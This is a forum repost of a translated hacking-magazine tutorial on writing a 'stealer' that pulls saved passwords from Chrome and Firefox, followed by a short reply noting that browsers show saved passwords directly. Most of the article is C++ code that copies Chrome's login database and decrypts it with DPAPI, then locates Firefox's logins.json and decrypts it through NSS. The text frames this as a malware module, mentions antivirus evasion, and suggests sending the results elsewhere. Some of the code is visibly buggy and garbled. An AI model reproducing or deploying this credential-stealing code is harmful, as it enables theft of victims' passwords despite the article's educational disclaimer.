We are writing a styler. How to get your Chrome and Firefox passwords yourself

[Демитрий]

We are writing a styler. How to get your Chrome and Firefox passwords yourself



You have probably heard of such a class of malicious applications as stylers. Their task is to extract valuable data from the victim’s system, primarily passwords. In this article, I’ll show you exactly how they do it, using the example of extracting passwords from the Chrome and Firefox browsers, and show examples of C ++ code.

All code in the article is provided solely for educational purposes and to recover your own lost passwords. The theft of someone else’s credentials or other personal data without proper written agreement is punishable by law.
So, browsers based on Chrome or Firefox store user logins and passwords in encrypted form in the SQLite database. This DBMS is compact and distributed free of charge under a free license. Just like the browsers we are considering: all of their code is open and well-documented, which will undoubtedly help us.

In the example of the styling module, which I will give in the article, CRT and other third-party libraries and dependencies such as sqlite.h will be actively used. If you need a compact code without dependencies, you have to rework it a bit, getting rid of some functions and setting up the compiler properly. How to do this, I showed in the article “ Secret WinAPI. How to obfuscate WinAPI calls in your application ".

What will the antivirus say?
When advertising their products, virus writers often draw the attention of potential buyers to the fact that at the moment their styler does not “burn” with an antivirus.

It should be understood that all modern and more or less serious viruses and trojans have a modular structure, each module in which is responsible for something of its own: one module collects passwords, the second prevents debugging and emulation, the third determines the fact of working in a virtual machine, the fourth conducts obfuscation of WinAPI calls, the fifth one understands the firewall built into the OS.

So, it is possible to judge whether a certain method is “fired” by an antivirus or not, only if it is a complete “combat” application, and not by a separate module.

Chrome
Let's start with Chrome. To get started, let's get a file where user accounts and passwords are stored. On Windows, it lies at this address:

C: \ Users \% username% \ AppData \ Local \ Google \ Chrome \ UserData \ Default \ Login Data

To perform any manipulations with this file, you must either kill all the browser processes, which will catch your eye, or copy the database file somewhere and after that start working with it.

Let's write a function that gets the path to the Chrome password database. As an argument, she will be passed an array of characters with the result of her work (that is, the array will contain the path to the Chrome password file).

#define CHROME_DB_PATH "\\ Google \\ Chrome \\ User Data \\ Default \\ Login Data"

bool get_browser_path (char * db_loc, int browser_family, const char * location) {
memset (db_loc, 0, MAX_PATH);
if (! SUCCEEDED (SHGetFolderPath (NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
return 0;
}

if (browser_family = 0) {
lstrcat (db_loc, TEXT (location));
return 1;
}
}

Function call:

char browser_db [MAX_PATH];
get_browser_path (browser_db, 0, CHROME_DB_PATH);

Let’s briefly explain what is happening here. We immediately write this function, implying a future extension. One of its arguments is the browser_family field, it will signal a family of browsers whose database we are getting (that is, browsers based on Chrome or Firefox).

If the condition browser_family = 0 is satisfied, then we get the password database of the browser based on Chrome, if browser_family = 1 - Firefox. The identifier CHROME_DB_PATH indicates the Chrome password database. Next, we get the path to the database using the SHGetFolderPath function, passing it the CSIDL_LOCAL_APPDATA value as the CSIDL argument, which means:

#define CSIDL_LOCAL_APPDATA 0x001c // <user name> \ Local Settings \ Applicaiton Data (non roaming)

The SHGetFolderPath function is deprecated, and Microsoft recommends using SHGetKnownFolderPath instead. The problem is that support for this feature starts with Windows Vista, so I used its older counterpart to maintain backward compatibility. Here is her prototype:

HRESULT SHGetFolderPath (
HWND hwndOwner,
int nFolder,
HANDLE hToken,
DWORD dwFlags,
LPTSTR pszPath
);

After that, the lstrcat function combines the result of SHGetFolderPath with the identifier CHROME_DB_PATH.

The password database has been received, now we are starting to work with it. As I said, this is a SQLite database, it is convenient to work with it through the SQLite API, which are connected with the sqlite3.h header file. Let's copy the database file so as not to occupy it and not interfere with the browser.

int status = CopyFile (browser_db, TEXT (". \\ db_tmp"), FALSE);
if (! status) {
// return 0;
}

Now connect to the database with the sqlite3_open_v2 command. Her prototype:

int sqlite3_open_v2 (
const char * filename, / * Database filename (UTF-8) * /
sqlite3 ** ppDb, / * OUT: SQLite db handle * /
int flags, / * Flags * /
const char * zVfs / * Name of VFS module to use * /
);

The first argument is our database; connection information is returned in the second argument, then the opening flags go, and the fourth argument determines the operating system interface that this connection to the database should use, in our case it is not needed. If this function works correctly, the SQLITE_OK value is returned; otherwise, an error code is returned.

sqlite3 * sql_browser_db = NULL;

status = sqlite3_open_v2 (TEMP_DB_PATH,
& sql_browser_db,
SQLITE_OPEN_READONLY,
NULL);
if (status! = SQLITE_OK) {
sqlite3_close (sql_browser_db);
DeleteFile (TEXT (TEMP_DB_PATH));


Please note: if the function is incorrectly worked out, we still need to independently close the connection to the database and delete its copy.


Now we begin to directly process the data in the database. To do this, use the sqlite3_exec () function.

status = sqlite3_exec (sql_browser_db,
"SELECT origin_url, username_value, password_value FROM logins",
crack_chrome_db,
sql_browser_db,
& err);
if (status! = SQLITE_OK)
return 0;

This function has a prototype like this:

int sqlite3_exec (
sqlite3 *, / * An open database * /
const char * sql, / * SQL to be evaluated * /
int (* callback) (void *, int, char **, char **), / * Callback function * /
void *, / * 1st argument to callback * /
char ** errmsg / * Error msg written here * /
);

The first argument is our password database, the second is the SQL command, which pulls out the file URL, login, password and username, the third argument is the callback function, which will decrypt the passwords, the fourth is passed to our callback function, but the fifth argument reports an error.

Let's dwell on the callback function, which decrypts passwords. It will be applied to each row from the selection of our SELECT query. Its prototype is int (* callback) (void *, int, char **, char **), but we will not need all the arguments, although they should be declared. We call the function itself crack_chrome_db, we begin to write and declare the necessary variables:

int crack_chrome_db (void * db_in, int arg, char ** arg1, char ** arg2) {

DATA_BLOB data_decrypt, data_encrypt;
sqlite3 * in_db = (sqlite3 *) db_in;
BYTE * blob_data = NULL;
sqlite3_blob * sql_blob = NULL;

char * passwds = NULL;

while (sqlite3_blob_open (in_db, "main", "logins", "password_value", count ++, 0, & sql_blob)! = SQLITE_OK && count <= 20);

In this cycle, we form a BLOB (that is, a large array of binary data). Next, select the memory, read the blob and initialize the DATA_BLOB fields:

int sz_blob;
int result;

sz_blob = sqlite3_blob_bytes (sql_blob);
dt_blob = (BYTE *) malloc (sz_blob);

if (! dt_blob) {
sqlite3_blob_close (sql_blob);
sqlite3_close (in_db);
}

data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;

And now let's proceed directly to decryption. The Chrome database is encrypted with the Data Protection Application Programming Interface (DPAPI). The essence of this mechanism is that data can be decrypted only under the account under which it was encrypted. In other words, you cannot steal a password database, and then decrypt it already on your computer. To decrypt the data, we need the CryptUnprotectData function.

DPAPI_IMP BOOL CryptUnprotectData (
DATA_BLOB * pDataIn,
LPWSTR * ppszDataDescr,
DATA_BLOB * pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT_PROMPTSTRUCT * pPromptStruct,
DWORD dwFlags,
DATA_BLOB * pDataOut
);

if (! CryptUnprotectData (& data_encrypt, NULL, NULL, NULL, NULL, 0, & data_decrypt)) {
free (dt_blob);
sqlite3_blob_close (sql_blob);
sqlite3_close (in_db);
}

After that, we allocate memory and fill the passwds array with decrypted data.

passwds = (char *) malloc (data_decrypt.cbData + 1);
memset (passwds, 0, data_decrypt.cbData);

int xi = 0;
while (xi <data_decrypt.cbData) {
passwds [xi] = (char) data_decrypt.pbData [xi];
++ xi;
}

Actually, that’s all! After that, passwds will contain user accounts and URLs. And what to do with this information - display it on the screen or save it to a file and send it somewhere - it's up to you.


Firefox
We pass to Firefox. It will be a little harder, but we can do it anyway!

To get started, let's get the path to the password database. Remember, in our generic get_browser_path function, we passed the browser_family parameter? In the case of Chrome, it was zero, and for Firefox we’ll set 1.

bool get_browser_path (char * db_loc, int browser_family, const char * location) {
...
if (browser_family = 1) {
memset (db_loc, 0, MAX_PATH);
if (! SUCCEEDED (SHGetFolderPath (NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
// return 0;
}

In the case of Firefox, we cannot, as in Chrome, immediately indicate the path to the user's folder. The fact is that the user profile folder name is generated randomly. But this is a nonsense barrier, because we know the beginning of the path (\\ Mozilla \\ Firefox \\ Profiles \\). It is enough to search the “folder” object in it and check the presence of the file \\ logins.json “in it. It is in this file that the username and password data that interests us is stored. Of course, in encrypted form. We implement all this in code.

lstrcat (db_loc, TEXT (location));

// Declare Variables
const char * profileName = "";
WIN32_FIND_DATA w_find_data;
const char * db_path = db_loc;

// Create a mask for the search using FindFirstFile
lstrcat ((LPSTR) db_path, TEXT ("*"));

// We look, we are interested in an object with the FILE_ATTRIBUTE_DIRECTORY attribute
HANDLE gotcha = FindFirstFile (db_path, & w_find_data);

while (FindNextFile (gotcha, & w_find_data)! = 0) {
if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strlen (w_find_data.cFileName)> 2) {
profileName = w_find_data.cFileName;
}
}
}
// Remove the asterisk
db_loc [strlen (db_loc) - 1] = '\ 0';

lstrcat (db_loc, profileName);

// Finally, we get the path we need
lstrcat (db_loc, "\\ logins.json");

return 1;

At the very end, the db_loc variable, which we passed as an argument to our function, contains the full path to the logins.json file, and the function returns 1, signaling that it worked correctly.

Now we get the handle of the password file and allocate memory for the data. To get the handle, use the CreateFile function, as MSDN advises.

DWORD read_bytes = 8192;
DWORD lp_read_bytes;

char * buffer = (char *) malloc (read_bytes);
HANDLE db_file_login = CreateFileA (original_db_location,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

ReadFile (db_file_login, buffer, read_bytes, & lp_read_bytes, NULL);

Everything is ready, but in the case of Firefox, everything will not be as simple as with Chrome - we can’t just get the necessary data with a regular SELECT query, and encryption is not limited to a single WinAPI function.



Network Security Services (NSS)
Firefox browser actively uses features Network security services to implement encryption of your base. These functions are located in the dynamic library located at C: \ Program Files \ Mozilla Firefox \ nss3.dll.

We will have to get all the functions that interest us from this DLL. This can be done in a standard way using LoadLibrary \ GetProcAdress. The code is monotonous and large, so I’ll just give a list of functions that we need:

• NSS_Init;
• PL_Base64Decode;
• PK11SDR_Decrypt;
• PK11_Authenticate;
• PK11_GetInternalKeySlot;
• PK11_FreeSlot.

These are the functions of initializing the NSS mechanism and decrypting the data. Let's write a decryption function, it is small. I will add comments so that everything is clear.

char * data_uncrypt (std :: string pass_str) {
// Declare Variables
SECItem crypt;
SECItem decrypt;
PK11SlotInfo * slot_info;

// Allocate memory for our data
char * char_dest = (char *) malloc (8192);
memset (char_dest, NULL, 8192);
crypt.data = (unsigned char *) malloc (8192);
crypt.len = 8192;
memset (crypt.data, NULL, 8192);

// Direct decryption by NSS functions
PL_Base64Decode (pass_str.c_str (), pass_str.size (), char_dest);
memcpy (crypt.data, char_dest, 8192);
slot_info = PK11_GetInternalKeySlot ();
PK11_Authenticate (slot_info, TRUE, NULL);
PK11SDR_Decrypt (& crypt, & decrypt, NULL);
PK11_FreeSlot (slot_info);

// Allocate memory for decrypted data
char * value = (char *) malloc (decrypt.len);
value [decrypt.len] = 0;
memcpy (value, decrypt.data, decrypt.len);

return value;
}

Now it remains to parse the logins.json file and apply our decryption function. For brevity, I will use regular expressions and them features in C ++ 11 .

string decode_data = buffer;

// Define a regular sequence for sites, logins and passwords
regex user ("\" encryptedUsername \ ": \" ([^ \ "] +) \" ");
regex passw ("\" encryptedPassword \ ": \" ([^ \ "] +) \" ");
regex host ("\" hostname \ ": \" ([^ \ "] +) \" ");

// Declare a variable and an iterator
smatch smch;
string :: const_iterator pars (decode_data.cbegin ());

// Parsing with regex_search, decrypting data with our data_uncrypt function
// and display decrypted data on the screen
do {
printf ("Site \ t:% s", smch.str (1) .c_str ());
regex_search (pars, decode_data.cend (), smch, user);
printf ("Login:% s", data_uncrypt (smch.str (1)));

regex_search (pars, decode_data.cend (), smch, passw);
printf ("Pass:% s", data_uncrypt (smch.str (1)));

pars + = smch.position () + smch.length ();

} while (regex_search (pars, decode_data.cend (), smch, host));



Conclusion
We figured out how passwords are stored in different browsers, and we learned what to do to extract them. Can I protect myself from such methods of recovering saved passwords? Yes of course. If you set a master password in the browser, it will act as a cryptographic salt for decrypting the password database. Without her knowledge, it will be impossible to recover data.



Source: We are writing a styler. How to get your Chrome and Firefox passwords yourself - Hacker

 

[root]

What for ????
everything is simpler - we take and look

Firefox
Settings -> Privacy and Protection -> Logins and Passwords -> Saved Logins -> Display Passwords

Chrome
Settings -> Passwords -> click on the eye icon and enter the password for the Windows account